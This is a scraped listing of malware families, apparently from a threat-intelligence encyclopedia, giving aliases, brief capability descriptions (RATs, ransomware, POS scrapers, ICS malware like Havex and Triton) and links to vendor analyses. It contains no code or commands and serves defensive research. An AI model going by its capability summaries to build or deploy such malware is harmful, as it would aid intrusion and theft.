Crypt0l0cker
Crypt0l0cker is also known as:
Links |
http://blog.talosintelligence.com/2017/08/first-look-crypt0l0cker.html |
win.flusihoc
Available since 2015, Flusihoc is a versatile C++ malware capable of a variety of DDoS attacks as directed by a Command and Control server. Flusihoc communicates with its C2 via HTTP in plain text.
win.flusihoc is also known as:
Links |
https://www.arbornetworks.com/blog/asert/the-flusihoc-dynasty-a-long-standing-ddos-botnet/ |
SeaSalt
SeaSalt is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Dairy
Dairy is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
EtumBot
EtumBot is also known as:
-
HighTide
Golroted
Golroted is also known as:
Links |
http://www.vkremez.com/2017/11/lets-learn-dissecting-golroted-trojans.html |
LogPOS
LogPOS is also known as:
Links |
https://securitykitten.github.io/2015/11/16/logpos-new-point-of-sale-malware-using-mailslots.html |
InnaputRAT
InnaputRAT, a RAT capable of exfiltrating files from victim machines, was distributed by threat actors using phishing and Godzilla Loader. The RAT has evolved through multiple variants dating back to 2016. Recent campaigns distributing InnaputRAT beaconed to live C2 as of March 26, 2018.
InnaputRAT is also known as:
Links |
FriedEx
FriedEx is also known as:
Links |
https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/ |
Darkmoon
Darkmoon is also known as:
-
Chymine
Gameover P2P
Gameover ZeuS is a peer-to-peer botnet based on components from the earlier ZeuS trojan. According to a report by Symantec, Gameover Zeus has largely been used for banking fraud and distribution of the CryptoLocker ransomware. In early June 2014, the U.S. Department of Justice announced that an international inter-agency collaboration named Operation Tovar had succeeded in temporarily cutting communication between Gameover ZeuS and its command and control servers.
Gameover P2P is also known as:
-
ZeuS P2P
-
GOZ
BatchWiper
BatchWiper is also known as:
Links |
http://contagiodump.blogspot.com/2012/12/batchwiper-samples.html |
GuiInject
GuiInject is also known as:
Links |
https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/ |
PubNubRAT
PubNubRAT is also known as:
Links |
https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html |
EDA2
EDA2 is also known as:
Links |
https://twitter.com/JaromirHorejsi/status/815861135882780673 |
SunOrcal
SunOrcal is also known as:
Links |
http://pwc.blogs.com/cyber_security_updates/2016/03/index.html |
Sathurbot
Sathurbot is also known as:
Links |
https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/ |
Lambert
Lambert is also known as:
GPCode
GPCode is also known as:
Ranbyus
Ranbyus is also known as:
Xpan
Xpan is also known as:
Links |
https://securelist.com/blog/research/78110/xpan-i-am-your-father/ |
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/ |
Odinaff
Odinaff is also known as:
Links |
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks |
Zollard
Zollard is also known as:
-
darlloz
Links |
https://blogs.cisco.com/security/the-internet-of-everything-including-malware |
Unidentified 020 (Vault7)
Unidentified 020 (Vault7) is also known as:
Links |
gamapos
gamapos is also known as:
-
pios
Links |
http://documents.trendmicro.com/assets/GamaPOS_Technical_Brief.pdf |
X-Agent
X-Agent is also known as:
-
splm
-
chopstick
BadEncript
BadEncript is also known as:
Links |
https://twitter.com/PhysicalDrive0/status/833067081981710336 |
X-Agent
X-Agent is also known as:
-
Popr-d30
Allaple
Allaple is also known as:
-
Starman
Links |
https://trapx.com/wp-content/uploads/2017/08/White_Paper_TrapX_AllapleWorm.pdf |
https://researchcenter.paloaltonetworks.com/2014/08/hunting-mutex/ |
Naikon
Naikon is also known as:
Links |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
FruitFly
FruitFly is also known as:
-
Quimitchin
ThumbThief
ThumbThief is also known as:
Links |
http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/ |
CCleaner Backdoor
CCleaner Backdoor is also known as:
Nocturnal Stealer
Nocturnal Stealer is also known as:
Links |
https://www.proofpoint.com/us/threat-insight/post/thief-night-new-nocturnal-stealer-grabs-data-cheap |
Ghole
Ghole is also known as:
-
CoreImpact (Modified)
Links |
http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf |
Vreikstadi
Vreikstadi is also known as:
Links |
https://twitter.com/malware_traffic/status/821483557990318080 |
win.phorpiex
Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.
win.phorpiex is also known as:
-
Trik
Crisis
Crisis is also known as:
Links |
http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html |
https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines |
Thanatos Ransomware
Thanatos Ransomware is also known as:
Links |
https://blog.talosintelligence.com/2018/06/ThanatosDecryptor.html |
DiamondFox
DiamondFox is also known as:
-
Crystal
-
Gorynch
-
Gorynych
Spora
Spora is also known as:
Unidentified 042
Unidentified 042 is also known as:
Links |
http://www.intezer.com/lazarus-group-targets-more-cryptocurrency-exchanges-and-fintech-companies/ |
Uroburos
Uroburos is also known as:
Links |
https://blog.fox-it.com/2017/05/03/snake-coming-soon-in-mac-os-x-flavour/ |
https://blog.malwarebytes.com/threat-analysis/2017/05/snake-malware-ported-windows-mac/ |
CryptoMix
CryptoMix is also known as:
-
CryptFile2
Havex RAT
Havex is a remote access trojan (RAT) that was discovered in 2013 as part of a widespread espionage campaign targeting industrial control systems (ICS) used across numerous industries and attributed to a hacking group referred to as "Dragonfly" and "Energetic Bear". Havex is estimated to have impacted thousands of infrastructure sites, a majority of which were located in Europe and the United States. Within the energy sector, Havex specifically targeted energy grid operators, major electricity generation firms, petroleum pipeline operators, and industrial equipment providers. Havex also impacted organizations in the aviation, defense, pharmaceutical, and petrochemical industries.
Once installed, Havex scanned the infected system to locate any Supervisory Control and Data Acquisition (SCADA) or ICS devices on the network and sent the data back to command and control servers. To do so, the malware leveraged the Open Platform Communications (OPC) standard, which is a universal communication protocol used by ICS components across many industries that facilitates open connectivity and vendor equipment interoperability. Havex used the Distributed Component Object Model (DCOM) to connect to OPC servers inside of an ICS network and collect information such as CLSID, server name, Program ID, OPC version, vendor information, running state, group count, and server bandwidth.
Havex was an intelligence-collection tool used for espionage and not for the disruption or destruction of industrial systems. However, the data collected by Havex would have aided efforts to design and develop attacks against specific targets or industries.
Havex RAT is also known as:
Links |
win.triton
Malware attacking commonly used in Industrial Control Systems (ICS) Triconex Safety Instrumented System (SIS) controllers.
win.triton is also known as:
-
Trisis
-
HatMan
Links |
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware |
Helauto
Helauto is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Lamdelin
Lamdelin is also known as:
Links |
http://news.thewindowsclub.com/poorly-coded-lamdelin-lockscreen-ransomware-alt-f4-88576/ |
PC Surveillance System
Citizenlab notes that PC Surveillance System (PSS) is a commercial spyware product offered by Cyberbit and marketed to intelligence and law enforcement agencies.
PC Surveillance System is also known as:
-
PSS
Links |
https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/ |
Kardon Loader
According to ASERT, Kardon Loader is a fully featured downloader, enabling the download and installation of other malware, eg. banking trojans/credential theft etc.This malware has been on sale by an actor under the username Yattaze, starting in late April. The actor offers the sale of the malware as a standalone build with charges for each additional rebuild, or the ability to set up a botshop in which case any customer can establish their own operation and further sell access to a new customer base.
Kardon Loader is also known as:
Links |
https://asert.arbornetworks.com/kardon-loader-looks-for-beta-testers/ |
https://engineering.salesforce.com/kardon-loader-malware-analysis-adaaaab42bab |
WebC2-Table
WebC2-Table is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Sedreco
Sedreco is also known as:
-
eviltoss
-
azzy
Links |
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html |
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf |
Buhtrap
Buhtrap is also known as:
Links |
https://www.arbornetworks.com/blog/asert/diving-buhtrap-banking-trojan-activity/ |
MacRansom
MacRansom is also known as:
Links |
https://blog.fortinet.com/2017/06/09/macransom-offered-as-ransomware-as-a-service |
Nagini
Nagini is also known as:
Links |
http://bestsecuritysearch.com/voldemortnagini-ransomware-virus/ |
Medre
Medre is also known as:
Links |
http://contagiodump.blogspot.com/2012/06/medrea-autocad-worm-samples.html |
Shylock
Shylock is also known as:
-
Caphaw
ShellLocker
ShellLocker is also known as:
Links |
https://twitter.com/JaromirHorejsi/status/813726714228604928 |
Leverage
Leverage is also known as:
Links |
https://www.alienvault.com/blogs/labs-research/osx-leveragea-analysis |
https://www.volexity.com/blog/2017/07/24/real-news-fake-flash-mac-os-x-users-targeted/ |
Necurs
Necurs is also known as:
-
nucurs
Philadephia Ransom
Philadephia Ransom is also known as:
Cobalt Strike
Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to:
-
Execute commands
-
Log keystrokes
-
Upload/download files
-
SOCKS proxy
-
Privilege escalation
-
Mimikatz
-
Port scanning
-
Lateral Movement
The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.
Cobalt Strike is also known as:
win.medusa
Medusa is a DDoS bot written in .NET 2.0. In its current incarnation its C&C protocol is based on HTTP, while its predecessor made use of IRC.
win.medusa is also known as:
Links |
https://www.arbornetworks.com/blog/asert/medusahttp-ddos-slithers-back-spotlight/ |
https://zerophagemalware.com/2017/10/13/rig-ek-via-malvertising-drops-a-miner/ |
HappyLocker (HiddenTear?)
HappyLocker (HiddenTear?) is also known as:
Links |
win.glupteba
win.glupteba is also known as:
PoohMilk Loader
PoohMilk Loader is also known as:
Links |
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html |
xsPlus
xsPlus is also known as:
-
nokian
Links |
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
Bouncer
Bouncer is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Ruckguv
Ruckguv is also known as:
Links |
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear |
Chinad
Adware that shows advertisements using plugin techniques for popular browsers
Chinad is also known as:
Links |
AvastDisabler
AvastDisabler is also known as:
Links |
https://securityintelligence.com/exposing-av-disabling-drivers-just-in-time-for-lunch/ |
Lurk
Lurk is also known as:
Links |
https://www.secureworks.com/research/malware-analysis-of-the-lurk-downloader |
POSHSPY
POSHSPY is also known as:
Links |
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html |
QakBot
QakBot is also known as:
-
Pinkslipbot
-
Qbot
Silon
Silon is also known as:
WebC2-DIV
WebC2-DIV is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
TeslaCrypt
TeslaCrypt is also known as:
Wirenet
Wirenet is also known as:
Links |
http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html |
Uiwix
Uiwix is also known as:
Links |
https://www.minerva-labs.com/post/uiwix-evasive-ransomware-exploiting-eternalblue |
Goggles
Goggles is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Maktub
Maktub is also known as:
Slingshot
Slingshot is also known as:
Links |
https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/ |
OceanLotus
OceanLotus is also known as:
BetaBot
BetaBot is also known as:
-
Neurevt
Babar
Babar is also known as:
-
SNOWBALL
Alina POS
Alina POS is also known as:
-
alina_spark
-
katrina
-
alina_eagle
Vobfus
Vobfus is also known as:
Pony
Pony is also known as:
-
Fareit
Links |
https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf |
Banjori
Banjori is also known as:
-
MultiBanker 2
-
BankPatch
-
BackPatcher
Links |
TeleDoor
TeleDoor is also known as:
Links |
http://blog.talosintelligence.com/2017/07/the-medoc-connection.html |
https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/ |
Hacksfase
Hacksfase is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
HackSpy
Py2Exe based tool as found on github.
HackSpy is also known as:
Links |
Fireball
Fireball is also known as:
Links |
http://blog.checkpoint.com/2017/06/01/fireball-chinese-malware-250-million-infection/ |
X-Agent
X-Agent is also known as:
Links |
http://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/ |
https://twitter.com/PhysicalDrive0/status/845009226388918273 |
Mirage
Mirage is also known as:
Links |
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/ |
FastPOS
FastPOS is also known as:
Links |
http://documents.trendmicro.com/assets/fastPOS-quick-and-easy-credit-card-theft.pdf |
Razy
Razy is also known as:
-
xcmkds
Links |
https://twitter.com/JaromirHorejsi/status/816915354698076161 |
Catelites
Catelites Bot (identified by Avast and SfyLabs in December 2017) is an Android trojan, with ties to CronBot. Once the malicious app is installed, attackers use social engineering tricks and window overlays to get credit card details from the victim. The distribution vector seems to be fake apps from third-party app stores (not Google Play) or via malvertisement. After installation and activation, the app creates fake Gmail, Google Play and Chrome icons. Furthermore, the malware sends a fake system notification, telling the victim that they need to re-authenticate with Google Services and ask for their credit card details to be entered. Currently the malware has overlays for over 2,200 apps of banks and financial institutions.
Catelites is also known as:
Links |
https://blog.avast.com/new-version-of-mobile-malware-catelites-possibly-linked-to-cron-cyber-gang |
ShadowPad
ShadowPad is also known as:
-
XShellGhost
Vawtrak
Vawtrak is also known as:
-
NeverQuest
Links |
https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak |
https://www.blueliv.com/downloads/network-insights-into-vawtrak-v2.pdf |
Crisis
Crisis is also known as:
Links |
http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html |
https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines |
BadNews
BadNews is also known as:
Unidentified 032
Unidentified 032 is also known as:
Links |
https://researchcenter.paloaltonetworks.com/2017/08/unit42-blockbuster-saga-continues/ |
Netrepser
Netrepser is also known as:
Links |
https://labs.bitdefender.com/2017/05/inside-netrepser-a-javascript-based-targeted-attack/ |
DogHousePower
DogHousePower is a PyInstaller-based ransomware targeting web and database servers. It is delivered through a PowerShell downloader and was hosted on Github.
DogHousePower is also known as:
-
Shelma
Links |
Pushdo
Pushdo is also known as:
Links |
https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/ |
Seduploader
Seduploader is also known as:
-
jhuhugit
-
jkeyskw
-
carberplike
-
downrage
Azorult
AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.
Azorult is also known as:
-
PuffStealer
-
Rultazo
Links |
http://www.vkremez.com/2017/07/lets-learn-reversing-credential-and.html |
https://blog.minerva-labs.com/puffstealer-evasion-in-a-cloak-of-multiple-layers |
HiKit
HiKit is also known as:
Links |
https://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware |
Moose
Moose is also known as:
Links |
http://www.welivesecurity.com/2016/11/02/linuxmoose-still-breathing/ |
Cannibal Rat
Cannibal Rat is a python written remote access trojan with 4 versions as of March 2018. The RAT is reported to impact users of a Brazilian public sector management school. The RAT is distributed in a py2exe format, with the python27.dll and the python bytecode stored as a PE resource and the additional libraries zipped in the overlay of the executable.
Cannibal Rat is also known as:
Links |
http://blog.talosintelligence.com/2018/02/cannibalrat-targets-brazil.html |
Orcus RAT
Orcus RAT is also known as:
Dvmap
Dvmap is also known as:
Links |
https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/ |
Syscon
Syscon is also known as:
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/ |
Sarhust
Sarhust is also known as:
Links |
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_sarhust.a |
Zloader
A banking trojan first observed in October 2016 has grown into a sophisticated hacking tool that works primarily as a banking trojan, but could also be used as an infostealer or backdoor.
Zloader is also known as:
-
Zeus Terdot
Links |
https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/ |
mozart
mozart is also known as:
Links |
https://securitykitten.github.io/2015/01/11/the-mozart-ram-scraper.html |
Korlia
Korlia is also known as:
-
bisonal
Links |
https://securitykitten.github.io/2014/11/25/curious-korlia.html |
Pitou
Pitou is also known as:
Links |
https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf |
KillDisk
KillDisk is also known as:
Links |
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/ |
Laziok
Laziok is also known as:
EternalPetya
EternalPetya is also known as:
-
NonPetya
-
Diskcoder.C
-
NotPetya
-
Petna
-
Nyetya
-
BadRabbit
-
nPetya
-
ExPetr
-
Pnyetya
DarkComet
DarkComet is also known as:
-
Fynloski
-
klovbot
ISFB
2006 Gozi v1.0, Gozi CRM, CRM, Papras 2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)
In September 2010, the source code of a particular Gozi CRM dll version was leaked. This led to two main branches: one became known as Gozi Prinimalka, which was merge with Pony and became Vawtrak/Neverquest.
The other branch became known as Gozi ISFB, or ISFB in short. Webinject functionality was added to this version.
There is one panel which often was used in combination with ISFB: IAP. The panel’s login page comes with the title 'Login - IAP'. The body contains 'AUTHORIZATION', 'Name:', 'Password:' and a single button 'Sign in' in a minimal design. Often, the panel is directly accessible by entering the C2 IP address in a browser. But there are ISFB versions which are not directly using IAP. The bot accesses a gate, which is called the 'Dreambot' gate. See win.dreambot for further information.
ISFB often was protected by Rovnix. This led to a further complication in the naming scheme - many companies started to call ISFB Rovnix. Because the signatures started to look for Rovnix, other trojans protected by Rovnix (in particular ReactorBot and Rerdom) sometimes got wrongly labelled.
In April 2016 a combination of Gozi ISFB and Nymaim was detected. This breed became known as GozNym. The merge uses a shellcode-like version of Gozi ISFB, that needs Nymaim to run. The C2 communication is performed by Nymaim.
See win.gozi for additional historical information.
ISFB is also known as:
-
Gozi ISFB
-
IAP
-
Pandemyia
CMSBrute
CMSBrute is also known as:
Links |
https://securelist.com/the-shade-encryptor-a-double-threat/72087/ |
Ransomlock
Ransomlock is also known as:
-
WinLock
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022215-2340-99&tabid=2 |
WireX
WireX is also known as:
Slave
Slave is also known as:
Links |
https://www.cert.pl/en/news/single/slave-banatrix-and-ransomware/ |
TinyZ
TinyZ is also known as:
-
Catelites Android Bot
-
MarsElite Android Bot
Links |
Citadel
Citadel is also known as:
Links |
https://blog.malwarebytes.com/threat-analysis/2012/11/citadel-a-cyber-criminals-ultimate-weapon/ |
Magala
Magala is also known as:
Links |
https://securelist.com/the-magala-trojan-clicker-a-hidden-advertising-threat/78920/ |
X-Tunnel
X-Tunnel is also known as:
-
xaps
CockBlocker
CockBlocker is also known as:
Links |
https://twitter.com/JaromirHorejsi/status/817311664391524352 |
FlexiSpy
FlexiSpy is also known as:
Links |
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/ |
PLEAD
PLEAD is also known as:
-
TSCookie
Links |
https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html |
GootKit
Gootkit is a banking trojan, where large parts are written in javascript (node.JS). It jumps to C/C++-library functions for various tasks.
GootKit is also known as:
-
Xswkit
Cpuminer
This was observed to be pushed by IoT malware, abusing devices for LiteCoin and BitCoin mining.
Cpuminer is also known as:
Links |
Ripper ATM
Ripper ATM is also known as:
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/untangling-ripper-atm-malware/ |
Chapro
Chapro is also known as:
BrickerBot
BrickerBot is also known as:
Switcher
Switcher is also known as:
Links |
https://securelist.com/blog/mobile/76969/switcher-android-joins-the-attack-the-router-club/ |
Unidentified 047
RAT written in Delphi used by Patchwork APT.
Unidentified 047 is also known as:
Links |
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/ |
Infy
Infy is also known as:
-
Foudre
Links |
http://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/ |
https://github.com/pan-unit42/iocs/blob/master/prince_of_persia/hashes.csv |
Bunitu
Bunitu is a trojan that exposes infected computers to be used as a proxy for remote clients. It registers itself at startup by providing its address and open ports. Access to Bunitu proxies is available by using criminal VPN services (e.g.VIP72).
Bunitu is also known as:
Joanap
Joanap is also known as:
Links |
https://www.acalvio.com/lateral-movement-technique-employed-by-hidden-cobra/ |
witchcoven
witchcoven is also known as:
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf |
Coreshell
Coreshell is also known as:
SnatchLoader
A downloader trojan with some infostealer capabilities focused on the browser. Previously observed as part of RigEK campaigns.
SnatchLoader is also known as:
Proton RAT
Proton RAT is also known as:
Spedear
Spedear is also known as:
Links |
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets |
FireMalv
FireMalv is also known as:
Links |
https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf |
Pwnet
Cryptocurrency miner that was distributed masquerading as a Counter-Strike: Global Offensive hack.
Pwnet is also known as:
Links |
https://sentinelone.com/blog/osx-pwnet-a-csgo-hack-and-sneaky-miner/ |
TrickBot
A financial Trojan believed to be a derivative of Dyre: the bot uses very similar code, web injects, and operational tacitcs. Has multiple modules including VNC and Socks5 Proxy. Uses SSL for C2 communication.
TrickBot is also known as:
-
Trickster
-
TheTrick
-
TrickLoader
ATI-Agent
ATI-Agent is also known as:
Links |
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
KLRD
KLRD is also known as:
Links |
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks |
Helminth
Helminth is also known as:
Links |
https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html |
Loda
Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented.
Loda is also known as:
-
Nymeria
Links |
https://www.proofpoint.com/us/threat-insight/post/introducing-loda-malware |
https://zerophagemalware.com/2018/01/23/maldoc-rtf-drop-loda-logger/ |
Roaming Mantis
Roaming Mantis is also known as:
Prikorma
Prikorma is also known as:
Links |
https://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf |
Dented
Dented is a banking bot written in C. It supports IE, Firefox, Chrome, Opera and Edge and comes with a simple POS grabber. Due to its modularity, reverse socks 5, tor and vnc can be added.
Dented is also known as:
Links |
Cuegoe
Cuegoe is also known as:
-
Windshield?
Machete
Machete is also known as:
-
El Machete
Links |
https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html |
ChChes
ChChes is also known as:
-
Ham Backdoor
Links |
https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
BlackPOS
BlackPOS infects computers running on Windows that have credit card readers connected to them and are part of a POS system. POS system computers can be easily infected if they do not have the most up to date operating systems and antivirus programs to prevent security breaches or if the computer database systems have weak administration login credentials.
BlackPOS is also known as:
-
Reedum
-
POSWDS
-
Kaptoxa
Links |
Dexter
Dexter is also known as:
-
LusyPOS
Spamtorte
Spamtorte is also known as:
Links |
http://cyber.verint.com/resource/spamtorte-v2-investigating-a-multi-layered-spam-botnet/ |
Swift?
Swift? is also known as:
Links |
https://securelist.com/blog/sas/77908/lazarus-under-the-hood/ |
InvisiMole
InvisiMole is also known as:
Links |
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/ |
Excalibur
Excalibur is also known as:
-
Sabresac
-
Saber
Links |
https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies |
Miancha
Miancha is also known as:
Links |
https://www.contextis.com//documents/30/TA10009_20140127_-CTI_Threat_Advisory-The_Monju_Incident1.pdf[https://www.contextis.com//documents/30/TA10009_20140127-CTI_Threat_Advisory-_The_Monju_Incident1.pdf] |
soraya
soraya is also known as:
Links |
https://www.arbornetworks.com/blog/asert/the-best-of-both-worlds-soraya/ |
XP PrivEsc (CVE-2014-4076)
XP PrivEsc (CVE-2014-4076) is also known as:
Links |
DoubleLocker
DoubleLocker is also known as:
Links |
https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/ |
Auriga
Auriga is also known as:
-
Riodrv
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
DarkMegi
DarkMegi is also known as:
Links |
http://stopmalvertising.com/rootkits/analysis-of-darkmegi-aka-npcdark.html |
http://contagiodump.blogspot.com/2012/04/this-is-darkmegie-rootkit-sample-kindly.html |
KeyBoy
KeyBoy is also known as:
AbaddonPOS
AbaddonPOS is also known as:
-
PinkKite
Links |
https://threatpost.com/new-pos-malware-pinkkite-takes-flight/130428/ |
Marcher
Marcher is also known as:
-
ExoBot
Links |
https://www.zscaler.de/blogs/research/android-marcher-continuously-evolving-mobile-malware |
https://www.clientsidedetection.com/exobot_v2_update_staying_ahead_of_the_competition.html[https://www.clientsidedetection.com/exobot_v2_update_staying_ahead_of_the_competition.html] |
Lazarus
Lazarus is also known as:
CpuMeaner
CpuMeaner is also known as:
Links |
https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/ |
Satori
Satori is a variation of elf.mirai which was first detected around 2017-11-27 by 360 Netlab. It uses exploit to exhibit worm-like behaviour to spread over ports 37215 and 52869 (CVE-2014-8361).
Satori is also known as:
Links |
http://www.eweek.com/security/collaborative-takedown-kills-iot-worm-satori |
ManItsMe
ManItsMe is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
BlackRevolution
BlackRevolution is also known as:
Links |
https://www.arbornetworks.com/blog/asert/the-revolution-will-be-written-in-delphi/ |
Mokes
Mokes is also known as:
Links |
https://securelist.com/blog/research/75990/the-missing-piece-sophisticated-os-x-backdoor-discovered/ |
tDiscoverer
tDiscoverer is also known as:
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf |
AlphaNC
AlphaNC is also known as:
Links |
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group |
Grateful POS
POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past.
Grateful POS is also known as:
Links |
http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html |
Konni
Konni is also known as:
Agent Tesla
A .NET based keylogger and RAT readily available to actors. Logs keystrokes and the host’s clipboard and beacons this information back to the C2.
Agent Tesla is also known as:
FinFisher RAT
FinFisher RAT is also known as:
-
FinSpy
Heloag
Heloag is also known as:
Links |
https://securelist.com/heloag-has-rather-no-friends-just-a-master/29693/ |
https://www.arbornetworks.com/blog/asert/trojan-heloag-downloader-analysis/ |
Ploutus ATM
Ploutus ATM is also known as:
Links |
https://www.fireeye.com/blog/threat-research/2017/01/new_ploutus_variant.html |
http://antonioparata.blogspot.co.uk/2018/02/analyzing-nasty-net-protection-of.html |
Cryakl
Cryakl is also known as:
Links |
https://securelist.ru/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/24070/ |
https://www.v3.co.uk/v3-uk/news/3026414/belgian-police-release-decryption-keys-for-cryakl-ransomware |
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojCryakl-B/detailed-analysis.aspx[https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/TrojCryakl-B/detailed-analysis.aspx] |
DMA Locker
DMA Locker is also known as:
Links |
https://blog.malwarebytes.com/threat-analysis/2016/02/dma-locker-strikes-back/ |
Computrace
Computrace is also known as:
-
lojack
KasperAgent
KasperAgent is also known as:
Links |
https://www.threatconnect.com/blog/kasperagent-malware-campaign/ |
FindPOS
FindPOS is also known as:
-
Poseidon
Links |
https://researchcenter.paloaltonetworks.com/2015/03/findpos-new-pos-malware-family-discovered/ |
WebC2-Yahoo
WebC2-Yahoo is also known as:
Links |
https://www.scribd.com/document/349629589/Appendix-C-Digital-The-Malware-Arsenal-pdf |
Bredolab
Bredolab is also known as:
Links |
https://securelist.com/end-of-the-line-for-the-bredolab-botnet/36335/ |
GoogleDrive RAT
GoogleDrive RAT is also known as:
Links |
https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf |
ReactorBot
Please note: ReactorBot in its naming is often mistakenly labeled as Rovnix. ReactorBot is a full blown bot with modules, whereas Rovnix is just a bootkit / driver component (originating from Carberp), occasionally delivered alongside ReactorBot.
ReactorBot is also known as:
